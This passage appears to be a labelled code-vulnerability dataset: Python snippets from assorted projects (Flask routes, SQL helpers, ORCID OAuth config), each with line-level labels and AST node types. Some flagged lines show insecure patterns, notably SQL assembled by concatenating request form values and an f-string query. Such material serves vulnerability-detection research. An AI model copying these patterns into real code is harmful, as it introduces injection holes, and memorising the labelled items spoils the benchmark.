lines
sequencelengths 1
444
| raw_lines
sequencelengths 1
444
| label
sequencelengths 1
444
| type
sequencelengths 1
444
|
---|---|---|---|
[
"\"\"\"string\"\"\"\n",
"import copy\n",
"from flask import current_app, session\n",
"from flask.ext.login import current_user\n",
"from invenio.ext.sqlalchemy.utils import session_manager\n",
"VAR_0 = dict(title='ORCID', description=\n 'Connecting Research and Researchers.', icon='', authorized_handler=\n 'invenio.modules.oauthclient.handlers:authorized_signup_handler',\n disconnect_handler=\n 'invenio.modules.oauthclient.handlers:disconnect_handler',\n signup_handler=dict(info=\n 'invenio.modules.oauthclient.contrib.orcid:account_info', setup=\n 'invenio.modules.oauthclient.contrib.orcid:account_setup', view=\n 'invenio.modules.oauthclient.handlers:signup_handler'), params=dict(\n request_token_params={'scope': '/authenticate'}, base_url=\n 'https://pub.orcid.com/', request_token_url=None, access_token_url=\n 'https://pub.orcid.org/oauth/token', access_token_method='POST',\n authorize_url='https://orcid.org/oauth/authorize#show_login', app_key=\n 'ORCID_APP_CREDENTIALS', content_type='application/json'))\n",
"\"\"\" ORCID Remote Application. \"\"\"\n",
"VAR_1 = copy.deepcopy(VAR_0)\n",
"\"\"\"ORCID Sandbox Remote Application.\"\"\"\n",
"VAR_1['params'].update(dict(base_url='https://api.sandbox.orcid.org/',\n access_token_url='https://api.sandbox.orcid.org/oauth/token',\n authorize_url='https://sandbox.orcid.org/oauth/authorize#show_login'))\n",
"def FUNC_0(VAR_2, VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_5 = dict(external_id=resp.get('orcid'), external_method='orcid')\n",
"return VAR_5\n"
] | [
"\"\"\"Pre-configured remote application for enabling sign in/up with ORCID.\n\n**Usage:**\n\n1. Edit your configuration and add:\n\n .. code-block:: python\n\n from invenio.modules.oauthclient.contrib import orcid\n OAUTHCLIENT_REMOTE_APPS = dict(\n orcid=orcid.REMOTE_APP,\n )\n\n ORCID_APP_CREDENTIALS = dict(\n consumer_key=\"changeme\",\n consumer_secret=\"changeme\",\n )\n\n Note, if you want to use the ORCID sandbox, use ``orcid.REMOTE_SANDBOX_APP``\n instead of ``orcid.REMOTE_APP``.\n\n2. Register a new application with ORCID. When registering the\n application ensure that the *Redirect URI* points to:\n ``CFG_SITE_SECURE_URL/oauth/authorized/orcid/`` (note, ORCID does not\n allow localhost to be used, thus testing on development machines is\n somewhat complicated by this).\n\n\n3. Grab the *Client ID* and *Client Secret* after registering the application\n and add them to your instance configuration (``invenio.cfg``):\n\n .. code-block:: python\n\n ORCID_APP_CREDENTIALS = dict(\n consumer_key=\"<CLIENT ID>\",\n consumer_secret=\"<CLIENT SECRET>\",\n )\n\n4. Now go to ``CFG_SITE_SECURE_URL/oauth/login/orcid/`` (e.g.\n http://localhost:4000/oauth/login/orcid/)\n\n5. Also, you should see ORCID listed under Linked accounts:\n http://localhost:4000//account/settings/linkedaccounts/\n\nBy default the ORCID module will try first look if a link already exists\nbetween a ORCID account and a user. If no link is found, the user is asked\nto provide an email address to sign-up.\n\nIn templates you can add a sign in/up link:\n\n.. code-block:: jinja\n\n <a href=\"{{url_for('oauthclient.login', remote_app='orcid')}}\">Sign in with ORCID</a>\n\n\"\"\"\n",
"import copy\n",
"from flask import current_app, session\n",
"from flask.ext.login import current_user\n",
"from invenio.ext.sqlalchemy.utils import session_manager\n",
"REMOTE_APP = dict(title='ORCID', description=\n 'Connecting Research and Researchers.', icon='', authorized_handler=\n 'invenio.modules.oauthclient.handlers:authorized_signup_handler',\n disconnect_handler=\n 'invenio.modules.oauthclient.handlers:disconnect_handler',\n signup_handler=dict(info=\n 'invenio.modules.oauthclient.contrib.orcid:account_info', setup=\n 'invenio.modules.oauthclient.contrib.orcid:account_setup', view=\n 'invenio.modules.oauthclient.handlers:signup_handler'), params=dict(\n request_token_params={'scope': '/authenticate'}, base_url=\n 'https://pub.orcid.com/', request_token_url=None, access_token_url=\n 'https://pub.orcid.org/oauth/token', access_token_method='POST',\n authorize_url='https://orcid.org/oauth/authorize#show_login', app_key=\n 'ORCID_APP_CREDENTIALS', content_type='application/json'))\n",
"\"\"\" ORCID Remote Application. \"\"\"\n",
"REMOTE_SANDBOX_APP = copy.deepcopy(REMOTE_APP)\n",
"\"\"\"ORCID Sandbox Remote Application.\"\"\"\n",
"REMOTE_SANDBOX_APP['params'].update(dict(base_url=\n 'https://api.sandbox.orcid.org/', access_token_url=\n 'https://api.sandbox.orcid.org/oauth/token', authorize_url=\n 'https://sandbox.orcid.org/oauth/authorize#show_login'))\n",
"def account_info(remote, resp):...\n",
"\"\"\"docstring\"\"\"\n",
"account_info = dict(external_id=resp.get('orcid'), external_method='orcid')\n",
"return account_info\n"
] | [
0,
0,
0,
0,
0,
5,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"FunctionDef'",
"Docstring",
"Assign'",
"Return'"
] |
[
"from __future__ import absolute_import, division, print_function\n",
"__metaclass__ = type\n",
"from ansible.inventory.group import Group\n",
"from ansible.utils.vars import combine_vars, get_unique_id\n",
"__all__ = ['Host']\n",
"\"\"\" a single ansible host \"\"\"\n",
"def __getstate__(self):...\n",
"return self.serialize()\n"
] | [
"from __future__ import absolute_import, division, print_function\n",
"__metaclass__ = type\n",
"from ansible.inventory.group import Group\n",
"from ansible.utils.vars import combine_vars, get_unique_id\n",
"__all__ = ['Host']\n",
"\"\"\" a single ansible host \"\"\"\n",
"def __getstate__(self):...\n",
"return self.serialize()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"Assign'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Expr'",
"FunctionDef'",
"Return'"
] |
[
"def FUNC_19(VAR_27):...\n",
"if isinstance(VAR_27, bytes):\n",
"return VAR_27\n",
"return VAR_27.encode('utf-8', 'replace')\n"
] | [
"def force_bytes(s):...\n",
"if isinstance(s, bytes):\n",
"return s\n",
"return s.encode('utf-8', 'replace')\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_7(VAR_9, VAR_10):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_3 = HttpRequest()\n",
"VAR_3.method = 'GET'\n",
"VAR_3.session = VAR_10\n",
"VAR_26, VAR_27, VAR_28 = resolve(VAR_9)\n",
"VAR_29 = VAR_26(VAR_3, *VAR_27, **kwargs)\n",
"return VAR_29.content\n"
] | [
"def _local_server_get(url, session):...\n",
"\"\"\"docstring\"\"\"\n",
"request = HttpRequest()\n",
"request.method = 'GET'\n",
"request.session = session\n",
"view, args, kwargs = resolve(url)\n",
"response = view(request, *args, **kwargs)\n",
"return response.content\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_32(*VAR_26):...\n",
""
] | [
"def mocked_check(*_args):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def __init__(self, VAR_3, VAR_4):...\n",
"self.tok = VAR_3\n",
"self.txt = VAR_4\n"
] | [
"def __init__(self, tok, txt):...\n",
"self.tok = tok\n",
"self.txt = txt\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'"
] |
[
"def FUNC_1(VAR_1):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_1.value = beamr.interpreters.Stretch(VAR_1.value[1])\n",
"return VAR_1\n"
] | [
"def t_STRETCH1(t):...\n",
"\"\"\"docstring\"\"\"\n",
"t.value = beamr.interpreters.Stretch(t.value[1])\n",
"return t\n"
] | [
0,
0,
2,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Return'"
] |
[
"@VAR_0.route('/edituser/<int:id>', methods=('GET', 'POST'))...\n",
"VAR_15 = get_user(VAR_4)\n",
"if request.method == 'POST':\n",
"VAR_18 = request.form['username']\n",
"return render_template('admin/edituser.html', VAR_15=user)\n",
"VAR_19 = request.form['desc']\n",
"VAR_20 = request.form['role']\n",
"VAR_21 = request.form['adminPwd']\n",
"VAR_7 = get_db()\n",
"VAR_16 = None\n",
"VAR_22 = None\n",
"VAR_23 = False\n",
"if 'file' in request.files:\n",
"VAR_24 = request.files['file']\n",
"if not check_password_hash(g.user['password'], VAR_21):\n",
"VAR_25 = secure_filename(VAR_24.filename)\n",
"VAR_16 = 'Incorrect admin password. Correct password required to edit user.'\n",
"if VAR_16 is None:\n",
"VAR_26 = VAR_25.rsplit('.', 1)[1].lower()\n",
"if VAR_18 is not '':\n",
"flash(VAR_16)\n",
"VAR_24.save(os.path.join(current_app.config['UPLOAD_FOLDER'], str(g.user[\n 'id']) + '.' + VAR_26))\n",
"VAR_7.execute('UPDATE user SET name = ? WHERE id = ?', (VAR_18, VAR_4))\n",
"if VAR_19 is not '':\n",
"VAR_23 = True\n",
"VAR_7.execute('UPDATE user SET descrip = ? WHERE id = ?', (VAR_19, VAR_4))\n",
"if VAR_23:\n",
"VAR_7.execute('UPDATE user SET avatar = 1 WHERE id = ?', (VAR_4,))\n",
"if VAR_20 == 'restricted':\n",
"VAR_7.execute('UPDATE user SET restricted = 1 WHERE id = ?', (VAR_4,))\n",
"if VAR_20 == 'admin':\n",
"VAR_7.execute('UPDATE user SET admin = 1 WHERE id = ?', (VAR_4,))\n",
"VAR_7.commit()\n",
"return redirect(url_for('user.show_profile', VAR_4=user['id']))\n"
] | [
"@bp.route('/edituser/<int:id>', methods=('GET', 'POST'))...\n",
"user = get_user(id)\n",
"if request.method == 'POST':\n",
"username = request.form['username']\n",
"return render_template('admin/edituser.html', user=user)\n",
"desc = request.form['desc']\n",
"role = request.form['role']\n",
"adminPwd = request.form['adminPwd']\n",
"db = get_db()\n",
"error = None\n",
"file = None\n",
"imgAdded = False\n",
"if 'file' in request.files:\n",
"f = request.files['file']\n",
"if not check_password_hash(g.user['password'], adminPwd):\n",
"filename = secure_filename(f.filename)\n",
"error = 'Incorrect admin password. Correct password required to edit user.'\n",
"if error is None:\n",
"filetype = filename.rsplit('.', 1)[1].lower()\n",
"if username is not '':\n",
"flash(error)\n",
"f.save(os.path.join(current_app.config['UPLOAD_FOLDER'], str(g.user['id']) +\n '.' + filetype))\n",
"db.execute('UPDATE user SET name = ? WHERE id = ?', (username, id))\n",
"if desc is not '':\n",
"imgAdded = True\n",
"db.execute('UPDATE user SET descrip = ? WHERE id = ?', (desc, id))\n",
"if imgAdded:\n",
"db.execute('UPDATE user SET avatar = 1 WHERE id = ?', (id,))\n",
"if role == 'restricted':\n",
"db.execute('UPDATE user SET restricted = 1 WHERE id = ?', (id,))\n",
"if role == 'admin':\n",
"db.execute('UPDATE user SET admin = 1 WHERE id = ?', (id,))\n",
"db.commit()\n",
"return redirect(url_for('user.show_profile', id=user['id']))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Assign'",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_6(self, VAR_33):...\n",
"VAR_33 = CLASS_17.run(self, VAR_33)\n",
"if VAR_33 == None:\n",
"return ''\n",
"return VAR_33\n"
] | [
"def run(self, val):...\n",
"val = VLength.run(self, val)\n",
"if val == None:\n",
"return ''\n",
"return val\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Return'",
"Return'"
] |
[
"@app.route('/api/server/devices', methods=['GET'])...\n",
"return [x.to_map() for x in controller.indi_server.devices()]\n"
] | [
"@app.route('/api/server/devices', methods=['GET'])...\n",
"return [x.to_map() for x in controller.indi_server.devices()]\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"def FUNC_9(self, VAR_21, VAR_27, VAR_28, VAR_29, VAR_30, VAR_31=None):...\n",
"\"\"\"docstring\"\"\"\n",
"if self.newcount > 10000:\n",
"return False\n",
"if VAR_31 is None:\n",
"VAR_31 = time.time()\n",
"VAR_58 = self.get_path(os.path.dirname(VAR_21))\n",
"VAR_59 = os.path.basename(VAR_21)\n",
"if VAR_59 in [x[VAR_1] for x in VAR_58]:\n",
"VAR_58.remove([x for x in VAR_58 if x[VAR_1] == VAR_59][0])\n",
"VAR_58.append([VAR_59, VAR_13, VAR_27, VAR_28, VAR_29, VAR_30, VAR_31, [],\n None, None])\n",
"self.newcount += 1\n",
"return True\n"
] | [
"def mkfile(self, path, uid, gid, size, mode, ctime=None):...\n",
"\"\"\"docstring\"\"\"\n",
"if self.newcount > 10000:\n",
"return False\n",
"if ctime is None:\n",
"ctime = time.time()\n",
"dir = self.get_path(os.path.dirname(path))\n",
"outfile = os.path.basename(path)\n",
"if outfile in [x[A_NAME] for x in dir]:\n",
"dir.remove([x for x in dir if x[A_NAME] == outfile][0])\n",
"dir.append([outfile, T_FILE, uid, gid, size, mode, ctime, [], None, None])\n",
"self.newcount += 1\n",
"return True\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"For",
"Expr'",
"Expr'",
"AugAssign'",
"Return'"
] |
[
"def FUNC_1(self):...\n",
"VAR_7 = engine.connect()\n",
"VAR_8 = VAR_7.begin()\n",
"VAR_9 = text(\n 'INSERT INTO users(username, hashed_password, roll_id) VALUES(:username, :hashed_password, :roll_id)'\n )\n",
"VAR_8.rollback()\n",
"VAR_7.close()\n",
"VAR_7.execute(VAR_9, VAR_1=self.username, VAR_2=self.hashed_password, VAR_3\n =self.roll_id)\n",
"VAR_8.commit()\n"
] | [
"def save(self):...\n",
"connection = engine.connect()\n",
"trans = connection.begin()\n",
"s = text(\n 'INSERT INTO users(username, hashed_password, roll_id) VALUES(:username, :hashed_password, :roll_id)'\n )\n",
"trans.rollback()\n",
"connection.close()\n",
"connection.execute(s, username=self.username, hashed_password=self.\n hashed_password, roll_id=self.roll_id)\n",
"trans.commit()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"@app.route('/issues/new/', methods=['GET', 'POST'])...\n",
"if request.method == 'GET':\n",
"VAR_4 = IssueForm()\n",
"if not current_user.editor:\n",
"return render_template('/issues/new.html', VAR_4=form)\n",
"return redirect(url_for('error401'))\n",
"VAR_4 = IssueForm(request.form)\n",
"if not VAR_4.validate():\n",
"return render_template('issues/new.html', VAR_4=form)\n",
"VAR_0 = Issue(VAR_4.name.data)\n",
"db.session.add(VAR_0)\n",
"db.session.commit()\n",
"return redirect(url_for('issues_index'))\n"
] | [
"@app.route('/issues/new/', methods=['GET', 'POST'])...\n",
"if request.method == 'GET':\n",
"form = IssueForm()\n",
"if not current_user.editor:\n",
"return render_template('/issues/new.html', form=form)\n",
"return redirect(url_for('error401'))\n",
"form = IssueForm(request.form)\n",
"if not form.validate():\n",
"return render_template('issues/new.html', form=form)\n",
"issue = Issue(form.name.data)\n",
"db.session.add(issue)\n",
"db.session.commit()\n",
"return redirect(url_for('issues_index'))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Condition",
"Assign'",
"Condition",
"Return'",
"Return'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_4(self):...\n",
"\"\"\"docstring\"\"\"\n",
"import geopandas as gpd\n",
"import numpy as np\n",
"VAR_48 = gpd.read_file(self.subdomains_fn)\n",
"VAR_49 = VAR_48.groupby(self.id_field)\n",
"VAR_28 = self.rasterio_raster.height, self.rasterio_raster.width\n",
"VAR_29 = self.rasterio_raster.affine\n",
"VAR_50 = [self._rasterize_id(VAR_17, VAR_27, VAR_28, VAR_29, VAR_24=self.\n background_value) for VAR_27, VAR_17 in VAR_49]\n",
"self.sub_domains = VAR_50\n"
] | [
"def _rasterize_subdomains(self):...\n",
"\"\"\"docstring\"\"\"\n",
"import geopandas as gpd\n",
"import numpy as np\n",
"gdf = gpd.read_file(self.subdomains_fn)\n",
"id_groups = gdf.groupby(self.id_field)\n",
"out_shape = self.rasterio_raster.height, self.rasterio_raster.width\n",
"out_transform = self.rasterio_raster.affine\n",
"arr_list = [self._rasterize_id(df, value, out_shape, out_transform,\n background_value=self.background_value) for value, df in id_groups]\n",
"self.sub_domains = arr_list\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Import'",
"Import'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_8(VAR_24):...\n",
"return binary_to_object_id(VAR_24).redis_shard_hash() % len(self.state.\n redis_clients)\n"
] | [
"def to_shard_index(id_bin):...\n",
"return binary_to_object_id(id_bin).redis_shard_hash() % len(self.state.\n redis_clients)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_8(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.execute('string')\n",
"self.execute('PRAGMA user_version = 2;')\n"
] | [
"def create_history_db(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.execute(\n \"\"\"\n CREATE TABLE \"history\" (\n \"id\" INTEGER PRIMARY KEY,\n \"completed\" INTEGER NOT NULL,\n \"name\" TEXT NOT NULL,\n \"nzb_name\" TEXT NOT NULL,\n \"category\" TEXT,\n \"pp\" TEXT,\n \"script\" TEXT,\n \"report\" TEXT,\n \"url\" TEXT,\n \"status\" TEXT,\n \"nzo_id\" TEXT,\n \"storage\" TEXT,\n \"path\" TEXT,\n \"script_log\" BLOB,\n \"script_line\" TEXT,\n \"download_time\" INTEGER,\n \"postproc_time\" INTEGER,\n \"stage_log\" TEXT,\n \"downloaded\" INTEGER,\n \"completeness\" INTEGER,\n \"fail_message\" TEXT,\n \"url_info\" TEXT,\n \"bytes\" INTEGER,\n \"meta\" TEXT,\n \"series\" TEXT,\n \"md5sum\" TEXT,\n \"password\" TEXT\n )\n \"\"\"\n )\n",
"self.execute('PRAGMA user_version = 2;')\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'",
"Expr'"
] |
[
"def FUNC_1(self, VAR_4, VAR_5, VAR_7=True):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_5['output'] = 'XML'\n",
"VAR_16, VAR_17 = self._cliq_run(VAR_4, VAR_5, VAR_7)\n",
"VAR_0.debug(_('CLIQ command returned %s'), VAR_16)\n",
"VAR_18 = etree.fromstring(VAR_16)\n",
"if VAR_7:\n",
"VAR_41 = VAR_18.find('response')\n",
"return VAR_18\n",
"if VAR_41 is None:\n",
"VAR_22 = _(\n 'Malformed response to CLIQ command %(verb)s %(cliq_args)s. Result=%(out)s'\n ) % {'verb': VAR_4, 'cliq_args': VAR_5, 'out': VAR_16}\n",
"VAR_42 = VAR_41.attrib.get('result')\n",
"if VAR_42 != '0':\n",
"VAR_22 = _('Error running CLIQ command %(verb)s %(cliq_args)s. Result=%(out)s'\n ) % {'verb': VAR_4, 'cliq_args': VAR_5, 'out': VAR_16}\n"
] | [
"def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):...\n",
"\"\"\"docstring\"\"\"\n",
"cliq_args['output'] = 'XML'\n",
"out, _err = self._cliq_run(verb, cliq_args, check_cliq_result)\n",
"LOG.debug(_('CLIQ command returned %s'), out)\n",
"result_xml = etree.fromstring(out)\n",
"if check_cliq_result:\n",
"response_node = result_xml.find('response')\n",
"return result_xml\n",
"if response_node is None:\n",
"msg = _(\n 'Malformed response to CLIQ command %(verb)s %(cliq_args)s. Result=%(out)s'\n ) % {'verb': verb, 'cliq_args': cliq_args, 'out': out}\n",
"result_code = response_node.attrib.get('result')\n",
"if result_code != '0':\n",
"msg = _('Error running CLIQ command %(verb)s %(cliq_args)s. Result=%(out)s'\n ) % {'verb': verb, 'cliq_args': cliq_args, 'out': out}\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Assign'"
] |
[
"def FUNC_2(self, VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.__slug_map.get(VAR_3)\n"
] | [
"def get_by_slug(self, entity_slug):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.__slug_map.get(entity_slug)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_10(VAR_16):...\n",
"return isinstance(VAR_16, str) or not isinstance(VAR_16, Iterable)\n"
] | [
"def not_iterable(value):...\n",
"return isinstance(value, str) or not isinstance(value, Iterable)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def __init__(self):...\n",
"CLASS_0.__init__(self)\n"
] | [
"def __init__(self):...\n",
"BaseLevel.__init__(self)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_0():...\n",
"VAR_1 = f\"\"\"\n SELECT name\n FROM {VAR_0}\n \"\"\"\n",
"VAR_2 = create_connection()\n",
"VAR_2.close()\n",
"VAR_3 = VAR_2.cursor()\n",
"VAR_3.execute(VAR_1)\n",
"return VAR_3.fetchall()\n"
] | [
"def get_departments():...\n",
"sql_query = f\"\"\"\n SELECT name\n FROM {PRODUCTS_TYPES_TABLE}\n \"\"\"\n",
"connection = create_connection()\n",
"connection.close()\n",
"cursor = connection.cursor()\n",
"cursor.execute(sql_query)\n",
"return cursor.fetchall()\n"
] | [
0,
4,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def __str__(self):...\n",
"return str(self.title)\n"
] | [
"def __str__(self):...\n",
"return str(self.title)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_24(self, VAR_26, VAR_7, VAR_29, VAR_30, VAR_25):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_41 = {}\n",
"if not VAR_30 is None:\n",
"for VAR_28 in VAR_30:\n",
"VAR_42 = []\n",
"VAR_41[VAR_28.get_id()] = VAR_28\n",
"if not VAR_29 is None:\n",
"for VAR_27 in VAR_29:\n",
"for VAR_28 in itervalues_(VAR_41):\n",
"VAR_6 = VAR_27.get_id()\n",
"if not (None, VAR_28) in self.__traversed:\n",
"for VAR_27, VAR_28 in VAR_42:\n",
"if not VAR_6 is None:\n",
"self.traverse_one(VAR_26, VAR_7, None, VAR_28, VAR_25)\n",
"if not (VAR_27, VAR_28) in self.__traversed:\n",
"VAR_28 = VAR_41.pop(VAR_6, None)\n",
"VAR_28 = None\n",
"self.traverse_one(VAR_26, VAR_7, VAR_27, VAR_28, VAR_25)\n",
"VAR_42.append((VAR_27, VAR_28))\n"
] | [
"def traverse_many(self, path, attribute, source_sequence, target_sequence,...\n",
"\"\"\"docstring\"\"\"\n",
"target_map = {}\n",
"if not target_sequence is None:\n",
"for target in target_sequence:\n",
"src_tgt_pairs = []\n",
"target_map[target.get_id()] = target\n",
"if not source_sequence is None:\n",
"for source in source_sequence:\n",
"for target in itervalues_(target_map):\n",
"source_id = source.get_id()\n",
"if not (None, target) in self.__traversed:\n",
"for source, target in src_tgt_pairs:\n",
"if not source_id is None:\n",
"self.traverse_one(path, attribute, None, target, visitor)\n",
"if not (source, target) in self.__traversed:\n",
"target = target_map.pop(source_id, None)\n",
"target = None\n",
"self.traverse_one(path, attribute, source, target, visitor)\n",
"src_tgt_pairs.append((source, target))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0,
1,
1,
0,
0,
1,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"For",
"Assign'",
"Assign'",
"Condition",
"For",
"For",
"Assign'",
"Condition",
"For",
"Condition",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Expr'",
"Expr'"
] |
[
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return import_from_settings('LOGOUT_REDIRECT_URL', '/')\n"
] | [
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return import_from_settings('LOGOUT_REDIRECT_URL', '/')\n"
] | [
0,
0,
0
] | [
"Condition",
"Docstring",
"Return'"
] |
[
"def FUNC_11(self, VAR_0, *VAR_1, **VAR_2):...\n",
"if not VAR_0.user.is_authenticated:\n",
"return invalid_permission_redirect(VAR_0)\n",
"self.request = VAR_0\n",
"self.filter_data = VAR_2.pop('filter_data', {})\n",
"return super().get(self, VAR_0, *VAR_1, **kwargs)\n"
] | [
"def get(self, request, *args, **kwargs):...\n",
"if not request.user.is_authenticated:\n",
"return invalid_permission_redirect(request)\n",
"self.request = request\n",
"self.filter_data = kwargs.pop('filter_data', {})\n",
"return super().get(self, request, *args, **kwargs)\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_5(self):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self.run_local:\n",
"if not (self.configuration.san_password or self.configuration.san_private_key):\n",
"if not self.configuration.san_ip:\n"
] | [
"def check_for_setup_error(self):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self.run_local:\n",
"if not (self.configuration.san_password or self.configuration.san_private_key):\n",
"if not self.configuration.san_ip:\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Condition",
"Condition"
] |
[
"def FUNC_1(VAR_1):...\n",
"VAR_4 = os.path.dirname(VAR_1)\n",
"VAR_5 = os.path.splitext(os.path.basename(VAR_1))[0]\n",
"VAR_6 = [VAR_5] if VAR_5 != '__init__' else []\n",
"VAR_7 = None\n",
"while VAR_4 != VAR_7 and FUNC_0(VAR_4):\n",
"VAR_7 = os.path.dirname(VAR_4)\n",
"return VAR_4, '.'.join(reversed(VAR_6))\n",
"VAR_6.append(os.path.basename(VAR_4))\n",
"VAR_4 = VAR_7\n"
] | [
"def _guess_import_path_and_name(file):...\n",
"current = os.path.dirname(file)\n",
"base = os.path.splitext(os.path.basename(file))[0]\n",
"name = [base] if base != '__init__' else []\n",
"parent = None\n",
"while current != parent and _is_package(current):\n",
"parent = os.path.dirname(current)\n",
"return current, '.'.join(reversed(name))\n",
"name.append(os.path.basename(current))\n",
"current = parent\n"
] | [
0,
0,
1,
1,
1,
1,
1,
1,
1,
1
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Expr'",
"Assign'"
] |
[
"def FUNC_0(VAR_0: str) ->bytes:...\n",
"\"\"\"docstring\"\"\"\n",
"return subprocess.check_output(VAR_0.split())\n"
] | [
"def get_output(command: str) ->bytes:...\n",
"\"\"\"docstring\"\"\"\n",
"return subprocess.check_output(command.split())\n"
] | [
0,
0,
2
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_4(VAR_7):...\n",
""
] | [
"def run_command(cmd):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"@VAR_1.route('/chartdemo', methods=['GET', 'POST'])...\n",
"if request.method == 'GET':\n",
"return render_template('chartdemoForm.html', ipedssectornames=ipedssectornames)\n",
"print(request.form)\n",
"VAR_14 = request.form.getlist('year')\n",
"VAR_15 = request.form.getlist('ipedssectornames')\n",
"VAR_8 = 'string'\n",
"VAR_8 += FUNC_11(VAR_14) + ' and '\n",
"VAR_8 += FUNC_13('ipedssectorname', VAR_15)\n",
"VAR_8 += ' group by hej.year, facStatus'\n",
"print(VAR_8)\n",
"VAR_9 = FUNC_15(VAR_8)\n",
"print('Results of query are:')\n",
"if VAR_9 == []:\n",
"print('no results')\n",
"print(VAR_9)\n",
"return render_template('noResults.html', VAR_8=query)\n",
"VAR_16 = [int(VAR_4) for VAR_4 in VAR_14]\n",
"VAR_17 = [(VAR_4, VAR_5(a[2] for a in [b for b in VAR_9 if b[1] == VAR_4])) for\n VAR_4 in [0, 1, 2]]\n",
"print('r=')\n",
"print(VAR_17)\n",
"print('years=' + str(VAR_16))\n",
"return render_template('chartdemoResult.html', ipedssectornames=\n ipedssectornames, VAR_8=query, VAR_16=years, VAR_9=z, VAR_17=r)\n"
] | [
"@app.route('/chartdemo', methods=['GET', 'POST'])...\n",
"if request.method == 'GET':\n",
"return render_template('chartdemoForm.html', ipedssectornames=ipedssectornames)\n",
"print(request.form)\n",
"year = request.form.getlist('year')\n",
"ipeds = request.form.getlist('ipedssectornames')\n",
"query = (\n 'SELECT hej.year,hej.faculty+2*hej.postdoctoral as facStatus,count(*) from hej,maintable where (hej.jobid=maintable.jobid) and '\n )\n",
"query += makeYears(year) + ' and '\n",
"query += makeStrings('ipedssectorname', ipeds)\n",
"query += ' group by hej.year, facStatus'\n",
"print(query)\n",
"z = queryAll(query)\n",
"print('Results of query are:')\n",
"if z == []:\n",
